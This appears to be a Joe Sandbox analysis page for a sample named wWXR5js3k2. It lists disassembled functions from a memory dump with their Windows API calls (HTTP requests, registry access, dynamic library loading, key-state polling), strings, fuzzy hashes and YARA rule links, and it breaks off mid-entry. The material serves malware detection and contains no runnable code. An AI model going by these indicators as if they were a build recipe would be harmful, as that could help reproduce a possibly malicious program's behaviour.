API String ID: 1352109105-1300829777
Opcode ID: 35041d8dc1731841c2a54437166b0f3bd49ae59b90da81f8ffac4f1379b2a030
Instruction ID: b737a87de2b5e0ecabb53f17e9dd6d467bb066926dd89a1c6e86dfb47a223c43
Opcode Fuzzy Hash: 35041d8dc1731841c2a54437166b0f3bd49ae59b90da81f8ffac4f1379b2a030
Instruction Fuzzy Hash: A1416034E14119DFCB25DF98D884BA97BF6FB49320F1880AAE4159B361D730E942CB92

Function 006CD7A5 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 101COMMON

Download Yara Rule

APIs

CharLowerBuffW.USER32(?,?,?,?,00000000,?,?), ref: 006CD7C5

Part of subcall function 0065784B: _memmove.LIBCMT ref: 00657899

Strings

none, xrefs: 006CD8A0
winapi, xrefs: 006CD836
stdcall, xrefs: 006CD847
cdecl, xrefs: 006CD81C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: BuffCharLower_memmove
String ID: cdecl$none$stdcall$winapi
API String ID: 3425801089-567219261
Opcode ID: e77379db521bc433194a0ac2d2c2aded6dd32a862bb058be5cb8afa8aad8e805
Instruction ID: 9bf6d8a586d87acf1ad34adf2205887f3e649376979c7691359281a83d0f0f59
Opcode Fuzzy Hash: e77379db521bc433194a0ac2d2c2aded6dd32a862bb058be5cb8afa8aad8e805
Instruction Fuzzy Hash: 5B318E71905219ABDF00EF54CC51AFEB3B6FF04720F10862DE865976D2DB31A905CB90

Function 006C182D Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 86networkCOMMON

Download Yara Rule

APIs

InternetOpenUrlW.WININET(?,?,00000000,00000000,?,00000000), ref: 006C184C
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C1872
HttpQueryInfoW.WININET(00000000,00000005,?,?,?), ref: 006C18A2
InternetCloseHandle.WININET(00000000), ref: 006C18E9

Part of subcall function 006C2483: GetLastError.KERNEL32(?,?,006C1817,00000000,00000000,00000001), ref: 006C2498
Part of subcall function 006C2483: SetEvent.KERNEL32(?,?,006C1817,00000000,00000000,00000001), ref: 006C24AD

Strings

, xrefs: 006C1893

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: HttpInternet$CloseErrorEventHandleInfoLastOpenQueryRequestSend
String ID:
API String ID: 3113390036-3916222277
Opcode ID: 34ccf4dbd180e5551ef0015a118a4548d300003ac215eaad6c62761484ad38b9
Instruction ID: 5759cd2188eadbe53576af421d443513a7282a0f7829da99b5b563bc9091017f
Opcode Fuzzy Hash: 34ccf4dbd180e5551ef0015a118a4548d300003ac215eaad6c62761484ad38b9
Instruction Fuzzy Hash: 5821AFB1505209BFEB11AB60DC85FFB77EEEB4A744F10412EF9059A241DA208E0557A4

Function 006DC498 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 83windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

GetCursorPos.USER32(?), ref: 006DC4D2
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000,?,0068B9AB,?,?,?,?,?), ref: 006DC4E7
GetCursorPos.USER32(?), ref: 006DC534
DefDlgProcW.USER32(?,0000007B,?,?,?,?,?,?,?,?,?,?,0068B9AB,?,?,?), ref: 006DC56E

Strings

hW, xrefs: 006DC504, 006DC53A

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Cursor$LongMenuPopupProcTrackWindow
String ID: hW
API String ID: 2864067406-1300829777
Opcode ID: 583c3d4c9f932e906d9e41e344714cc91b7e04c26c92f64fe7c654a5baf3dc38
Instruction ID: 48a66b4b109b13b234ec2e11acc6e3c638c0c971c14cb0382aa8767c074e5d74
Opcode Fuzzy Hash: 583c3d4c9f932e906d9e41e344714cc91b7e04c26c92f64fe7c654a5baf3dc38
Instruction Fuzzy Hash: 3D31A735910018EFCB15CF98D854EFA7BB6EB49320F04406AF905873A1C7356D61DF94

Function 006D63E7 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 80windowlibraryCOMMON

Download Yara Rule

APIs

Part of subcall function 00651D35: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 00651D73
Part of subcall function 00651D35: GetStockObject.GDI32(00000011), ref: 00651D87
Part of subcall function 00651D35: SendMessageW.USER32(00000000,00000030,00000000), ref: 00651D91

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 006D6461
LoadLibraryW.KERNEL32(?), ref: 006D6468
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 006D647D
DestroyWindow.USER32(?), ref: 006D6485

Strings

SysAnimate32, xrefs: 006D643C

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessageSend$Window$CreateDestroyLibraryLoadObjectStock
String ID: SysAnimate32
API String ID: 4146253029-1011021900
Opcode ID: 102349ad2dee82a792ef2ea3128365d6ad7cc384872145159126417f32ba2ada
Instruction ID: 310741ef8931bb9a00e43aae1740b951a07170c7db3bfcacef6bb8ac5a2eab45
Opcode Fuzzy Hash: 102349ad2dee82a792ef2ea3128365d6ad7cc384872145159126417f32ba2ada
Instruction Fuzzy Hash: D7215B71A00205AFEF104F64DC80EBB77EAEF59368F10962AFA50962A0D775DC5197A0

Function 006B6D9C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(0000000C), ref: 006B6DBC
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 006B6DEF
GetStdHandle.KERNEL32(0000000C), ref: 006B6E01
CreateFileW.KERNEL32(nul,40000000,00000002,0000000C,00000003,00000080,00000000), ref: 006B6E3B

Strings

nul, xrefs: 006B6E36

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: e57b6157ab0f0d21248f70ebd671838a88a4bd0a109ce6d0bd4a89516fb4a09c
Instruction ID: dbaf95bdec2d75017bff12bb2a68c03fa6173bc114e5787ed68b13f15d6c14c3
Opcode Fuzzy Hash: e57b6157ab0f0d21248f70ebd671838a88a4bd0a109ce6d0bd4a89516fb4a09c
Instruction Fuzzy Hash: D721A4B4600209ABDB209F69DC04ADA7BF6EF44720F204A29FCA1D73D0D774D991CB54

Function 006B6E6A Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79filepipeCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F6), ref: 006B6E89
CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 006B6EBB
GetStdHandle.KERNEL32(000000F6), ref: 006B6ECC
CreateFileW.KERNEL32(nul,80000000,00000001,0000000C,00000003,00000080,00000000), ref: 006B6F06

Strings

nul, xrefs: 006B6F01

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CreateHandle$FilePipe
String ID: nul
API String ID: 4209266947-2873401336
Opcode ID: 0aa91fc3abeb3bcf584c04f064fa3fbfb592a5bb4bd8ae7e6c8015f37b393e37
Instruction ID: ead6097a8585867a471caae604fec565eafbd201af9c678a0c6da6fcf14042eb
Opcode Fuzzy Hash: 0aa91fc3abeb3bcf584c04f064fa3fbfb592a5bb4bd8ae7e6c8015f37b393e37
Instruction Fuzzy Hash: 1221B0B95043059BDB209F69CC04AEA77AAEF45724F200A1AF9A1D33D0D774E9828B50

Function 006BAC40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 006BAC54
GetVolumeInformationW.KERNEL32(?,?,00007FFF,?,00000000,00000000,00000000,00000000), ref: 006BACA8
__swprintf.LIBCMT ref: 006BACC1
SetErrorMode.KERNEL32(00000000,00000001,00000000,006DF910), ref: 006BACFF

Strings

%lu, xrefs: 006BACBB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: ErrorMode$InformationVolume__swprintf
String ID: %lu
API String ID: 3164766367-685833217
Opcode ID: 9525cc05fff30d925a433032847e1a1ffad3a09b1f98c92eb8cb4612eeb8cb66
Instruction ID: 5bb6c7f37663b68f5505f5a61ab29d1bf2f16ffd9289edcd10222380f26acbb1
Opcode Fuzzy Hash: 9525cc05fff30d925a433032847e1a1ffad3a09b1f98c92eb8cb4612eeb8cb66
Instruction Fuzzy Hash: E3217F70A00209EFCB50EFA4CD45DEE7BB9EF49715B0040A9F909AB351DB31EA45CB21

Function 006B1142 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51sleepCOMMON

Download Yara Rule

APIs

QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,006AFCED,?,006B0D40,?,00008000), ref: 006B115F
Sleep.KERNEL32(00000000,?,?,?,?,?,?,006AFCED,?,006B0D40,?,00008000), ref: 006B1184
QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,006AFCED,?,006B0D40,?,00008000), ref: 006B118E
Sleep.KERNEL32(?,?,?,?,?,?,?,006AFCED,?,006B0D40,?,00008000), ref: 006B11C1

Strings

@k, xrefs: 006B119D

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: CounterPerformanceQuerySleep
String ID: @k
API String ID: 2875609808-3759510095
Opcode ID: c286c54e598bc57f89b5ef8c70e71ebbda9e4303c202afc23f10f05f1f049ddd
Instruction ID: 41471d99c2cfb2e182f7156e4f1173f454b6d934999cc0521711935974ae1ea0
Opcode Fuzzy Hash: c286c54e598bc57f89b5ef8c70e71ebbda9e4303c202afc23f10f05f1f049ddd
Instruction Fuzzy Hash: 0A118E71C0151CE7CF00DFA8D858AEEBB7AFF0A711F404066EA41BA240CB709590CBA5

Function 006DACCF Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45windowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,007157B0,006DD809,000000FC,?,00000000,00000000,?,?,?,0068B969,?,?,?,?,?), ref: 006DACD1
GetFocus.USER32 ref: 006DACD9

Part of subcall function 00652612: GetWindowLongW.USER32(?,000000EB), ref: 00652623

Part of subcall function 006525DB: GetWindowLongW.USER32(?,000000EB), ref: 006525EC

SendMessageW.USER32(00E1DB70,000000B0,000001BC,000001C0), ref: 006DAD4B

Strings

@U=u, xrefs: 006DAD4B
hW, xrefs: 006DAD12, 006DAD23

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Window$Long$FocusForegroundMessageSend
String ID: @U=u$hW
API String ID: 3601265619-4076565667
Opcode ID: 00cd3739d8bd75765344266806593b0ba2eb8516cbb95245657244891f026036
Instruction ID: 0d412d017c04c33c5eabbeab7667aceaf1500b78486825aa4a4c7d797dd23057
Opcode Fuzzy Hash: 00cd3739d8bd75765344266806593b0ba2eb8516cbb95245657244891f026036
Instruction Fuzzy Hash: D7014031A055009FC7159B28D898AE577E7EF8A321F18427EF826877F1DB31AC46CB51

Function 006CEB55 Relevance: 7.7, APIs: 5, Instructions: 247COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 006CEC07
GetProcessIoCounters.KERNEL32(00000000,?), ref: 006CEC37
GetProcessMemoryInfo.PSAPI(00000000,?,00000028), ref: 006CED6A
CloseHandle.KERNEL32(?), ref: 006CEDEB

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Process$CloseCountersHandleInfoMemoryOpen
String ID:
API String ID: 2364364464-0
Opcode ID: 64240ba2d6a3f0dd14d842798266152940dd8ee6793d290f10cbe85a79335b34
Instruction ID: 928578697a35558513d27db63c009204e4f74dba44821ee0db1f5cc95a6c5330
Opcode Fuzzy Hash: 64240ba2d6a3f0dd14d842798266152940dd8ee6793d290f10cbe85a79335b34
Instruction Fuzzy Hash: 008181716007009FD760EF28C846F6AB7E6EF84710F04891DF99A9B392D7B1AD44CB95

Function 006D0037 Relevance: 7.6, APIs: 5, Instructions: 144registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00657DE1: _memmove.LIBCMT ref: 00657E22

Part of subcall function 006D0E1A: CharUpperBuffW.USER32(?,?,?,?,?,?,?,006CFDAD,?,?), ref: 006D0E31

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 006D00FD
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 006D013C
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 006D0183
RegCloseKey.ADVAPI32(?,?), ref: 006D01AF
RegCloseKey.ADVAPI32(00000000), ref: 006D01BC

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpper_memmove
String ID:
API String ID: 3440857362-0
Opcode ID: 8df480ef13e0e07c79b938d5870b8c242987ac34e01b01b2b4c0dd1fc0215256
Instruction ID: e6ce171a7398db83596f0e761433a82bdfcd534c1931555a353b5da1dee99866
Opcode Fuzzy Hash: 8df480ef13e0e07c79b938d5870b8c242987ac34e01b01b2b4c0dd1fc0215256
Instruction Fuzzy Hash: 5C519F71608204AFD704EF64CC81F6AB7EAFF84304F04491EF856872A1DB31E909CB52

Function 006CD8C8 Relevance: 7.6, APIs: 5, Instructions: 139libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

LoadLibraryW.KERNEL32(?,?,?,00000000,?,?,?,?,?,?,?,?), ref: 006CD927
GetProcAddress.KERNEL32(00000000,?), ref: 006CD9AA
GetProcAddress.KERNEL32(00000000,00000000), ref: 006CD9C6
GetProcAddress.KERNEL32(00000000,?), ref: 006CDA07
FreeLibrary.KERNEL32(00000000,?,?,00000000,?,?,?,?,?,?,?,?), ref: 006CDA21

Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000000,00000000,00000000,00000000,00000000,?,006B7896,?,?,00000000), ref: 00655A2C
Part of subcall function 00655A15: WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,?,00000000,00000000,?,?,006B7896,?,?,00000000,?,?), ref: 00655A50

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad__itow__swprintf
String ID:
API String ID: 327935632-0
Opcode ID: fe45a327df7a5813ff96882460153cd474d14e793a8c0a59d81b5b58d470e5dc
Instruction ID: 388c3d37ee277c7aab2d62b374fb6b89c6baa7c15cac344b3e8ddec1ae5b526b
Opcode Fuzzy Hash: fe45a327df7a5813ff96882460153cd474d14e793a8c0a59d81b5b58d470e5dc
Instruction Fuzzy Hash: 2A51F775A00209DFCB40EFA8C494EADB7F6EF09311F148069E856AB322D731ED46CB95

Function 006BE571 Relevance: 7.6, APIs: 5, Instructions: 135COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 006BE61F
GetPrivateProfileSectionW.KERNEL32(?,00000001,00000003,?), ref: 006BE648
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 006BE687

Part of subcall function 00659837: __itow.LIBCMT ref: 00659862
Part of subcall function 00659837: __swprintf.LIBCMT ref: 006598AC

WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 006BE6AC
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 006BE6B4

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String$__itow__swprintf
String ID:
API String ID: 1389676194-0
Opcode ID: d0768cd8bbfabc1eae20cf66b89d3bf0f44ba9eb7a43c6cf9db3697199694e62
Instruction ID: 43774326664c38b1714eb9bcc15b9e7ed65f4f8473fbd582ece888ad341a1d88
Opcode Fuzzy Hash: d0768cd8bbfabc1eae20cf66b89d3bf0f44ba9eb7a43c6cf9db3697199694e62
Instruction Fuzzy Hash: 68516C35A00205DFCB40EF64C9819AEBBF6EF09310F1484A9E809AB361CB31ED44DF64

Function 00652344 Relevance: 7.6, APIs: 5, Instructions: 111keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00652357
ScreenToClient.USER32(007157B0,?), ref: 00652374
GetAsyncKeyState.USER32(00000001), ref: 00652399
GetAsyncKeyState.USER32(00000002), ref: 006523A7

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 6ed3ac459774bfca951496a2c5250ec0dd715262cd7ab720915b97ab9a9e763f
Instruction ID: 784255db81ae3cceeaa173076371639f4fd03524ccb32a3244ed56b35f40132b
Opcode Fuzzy Hash: 6ed3ac459774bfca951496a2c5250ec0dd715262cd7ab720915b97ab9a9e763f
Instruction Fuzzy Hash: 0441A235A04106FBCF259F68CC44AEDBB76FB06361F20435AF829922A0CB359D54DFA0

Function 006A63AA Relevance: 7.6, APIs: 5, Instructions: 97windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006A63E7
TranslateAcceleratorW.USER32(?,?,?), ref: 006A6433
TranslateMessage.USER32(?), ref: 006A645C
DispatchMessageW.USER32(?), ref: 006A6466
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 006A6475

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: Message$PeekTranslate$AcceleratorDispatch
String ID:
API String ID: 2108273632-0
Opcode ID: 5008ca1517f35342b9d8acf150060cb5987d240f65da1c1ff767e3eec3c24677
Instruction ID: 91816fd184a2cfbdf3c2d558be429647698ce6d8ab76cec181abf2b99f9978fe
Opcode Fuzzy Hash: 5008ca1517f35342b9d8acf150060cb5987d240f65da1c1ff767e3eec3c24677
Instruction Fuzzy Hash: 9831D471900646DFDB64AF74CC45BE67BEAEB06300F18C165F422C22A1E7399C49DF50

Function 006A8A1F Relevance: 7.6, APIs: 5, Instructions: 89sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 006A8A30
PostMessageW.USER32(?,00000201,00000001), ref: 006A8ADA
Sleep.KERNEL32(00000000,?,00000201,00000001,?,?,?), ref: 006A8AE2
PostMessageW.USER32(?,00000202,00000000), ref: 006A8AF0
Sleep.KERNEL32(00000000,?,00000202,00000000,?,?,00000201,00000001,?,?,?), ref: 006A8AF8

Memory Dump Source

Source File: 00000000.00000002.1378345502.0000000000651000.00000020.00000001.01000000.00000003.sdmp, Offset: 00650000, based on PE: true

Associated: 00000000.00000002.1378322142.0000000000650000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.00000000006DF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378424823.0000000000704000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378495646.000000000070E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1378515032.0000000000717000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_650000_wWXR5js3k2.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 7c4966b7f5195afc720d70ef848ae333ff4fb1518e9f51deca35ab0721fd255d
Instruction ID: d4f19e9d4dc015f5fb700bd204c447970f74269b6cdb5210fde858f054f7b90f
